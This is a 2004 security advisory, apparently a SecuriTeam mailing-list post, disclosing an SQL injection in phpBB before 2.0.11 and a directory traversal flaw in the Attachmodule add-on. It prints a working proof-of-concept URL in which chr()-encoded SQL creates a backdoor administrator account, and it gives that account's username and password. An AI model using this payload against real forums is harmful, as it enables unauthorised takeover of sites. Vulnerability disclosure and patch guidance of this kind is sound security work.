[UNIX] phpBB SQL Injection and Attachmodule Add-On Directory Traversal

From: SecuriTeam (support_at_securiteam.com)
Date: 11/29/04

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Date: 29 Nov 2004 10:54:57 +0200

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      phpBB SQL Injection and Attachmodule Add-On Directory Traversal
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.phpbb.com/> phpBB is "a high powered, fully scalable, and
    highly customizable open-source bulletin board package. phpBB has a
    user-friendly interface, simple and straightforward administration panel,
    and helpful FAQ. Based on the powerful PHP server language and your choice
    of MySQL, MS-SQL, PostgreSQL or Access/ODBC database servers, phpBB is the
    ideal free community solution for all web sites."

    An SQL injection vulnerability and a directory traversal vulnerabilities
    exist within phpBB and Attach module's code.

    DETAILS

    Vulnerable Systems:
     * phpBB versions prior to 2.0.11
     * Attachmodule, all versions

    Immune Systems:
     * phpBB version 2.0.11

    Due to decoding mishandling of the input request a malicious attacker is
    able to inject any type of SQL query to the back-end database server. Upon
    close inspection of the code is became evident that using multiple char()
    functions will fool phpBB and allow insertion of an SQL query.

    The following SQL statement will add a user with administrative rights on
    the system:
    INSERT INTO phpbb_users(user_id, user_active, username, user_password,
    user_level) VALUES ('99999', '1', 'ze3lock',
    'ba3c83348bddf7b368b478ac06d3340e', '1')

    And the following login credentials:
    username: ze3lock
    pass: thepass

    Note: This query is assuming that the phpBB user table is called
    'phpbb_users', which comprise most of the sites using phpBB. However,
    sites in which the table's name was changed will not be affected and the
    correct name of the table will have to be discovered before exploitation
    can take place.

    The exploit can be run on any site using phpBB without the need to be
    registered. This makes it a prime target for automated scripts that insert
    backdoors in many sites around the web. A proof of concept HTTP query is
    provided below. In order to make it work, an active thread number from the
    forums must be substituted in, but this is relatively trivial to find.

    http://site.com/forum/viewtopic.php?t=30&highlight=%2527%252emysql_query(chr(73)%252echr(78)
    %252echr(83)%252echr(69)%252echr(82)%252echr(84)%252echr(32)%252echr(73)%252echr(78)
    %252echr(84)%252echr(79)%252echr(32)%252echr(112)%252echr(104)%252echr(112)%252echr(98)
    %252echr(98)%252echr(95)%252echr(117)%252echr(115)%252echr(101)%252echr(114)%252echr(115)
    %252echr(40)%252echr(117)%252echr(115)%252echr(101)%252echr(114)%252echr(95)%252echr(105)
    %252echr(100)%252echr(44)%252echr(117)%252echr(115)%252echr(101)%252echr(114)%252echr(95)
    %252echr(97)%252echr(99)%252echr(116)%252echr(105)%252echr(118)%252echr(101)%252echr(44)
    %252echr(117)%252echr(115)%252echr(101)%252echr(114)%252echr(110)%252echr(97)%252echr(109)
    %252echr(101)%252echr(44)%252echr(117)%252echr(115)%252echr(101)%252echr(114)%252echr(95)
    %252echr(112)%252echr(97)%252echr(115)%252echr(115)%252echr(119)%252echr(111)%252echr(114)
    %252echr(100)%252echr(44)%252echr(117)%252echr(115)%252echr(101)%252echr(114)%252echr(95)
    %252echr(108)%252echr(101)%252echr(118)%252echr(101)%252echr(108)%252echr(41)%252echr(32)
    %252echr(86)%252echr(65)%252echr(76)%252echr(85)%252echr(69)%252echr(83)%252echr(32)
    %252echr(40)%252echr(39)%252echr(57)%252echr(57)%252echr(57)%252echr(57)%252echr(57)
    %252echr(39)%252echr(44)%252echr(39)%252echr(49)%252echr(39)%252echr(44)%252echr(39)
    %252echr(122)%252echr(101)%252echr(51)%252echr(108)%252echr(111)%252echr(99)%252echr(107)
    %252echr(39)%252echr(44)%252echr(39)%252echr(98)%252echr(97)%252echr(51)%252echr(99)
    %252echr(56)%252echr(51)%252echr(51)%252echr(52)%252echr(56)%252echr(98)%252echr(100)
    %252echr(100)%252echr(102)%252echr(55)%252echr(98)%252echr(51)%252echr(54)%252echr(56)
    %252echr(98)%252echr(52)%252echr(55)%252echr(56)%252echr(97)%252echr(99)%252echr(48)
    %252echr(54)%252echr(100)%252echr(51)%252echr(51)%252echr(52)%252echr(48)%252echr(101)
    %252echr(39)%252echr(44)%252echr(39)%252echr(49)%252echr(39)%252echr(41))%252e%2527

    In addition, a directory traversal bug in the Attachmodule allows the user
    to read any file located on the local filesystem of the server running
    phpBB. The main culprit is the 'UPLOAD_DIR' argument which is not properly
    sanitized. This directory represents the directory in which all files
    should be uploaded to and the system accepts any type of character as
    input. An attacker is thus able to overwrite files on the local filesystem
    of the server.

    Vendor Status:
    Users of this system are highly encouraged to upgade to version 2.0.11 and
    add input validation to the 'UPLOAD_DIR' argument of Attachmodule.

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:zee@psybnc.it> Zeelock.

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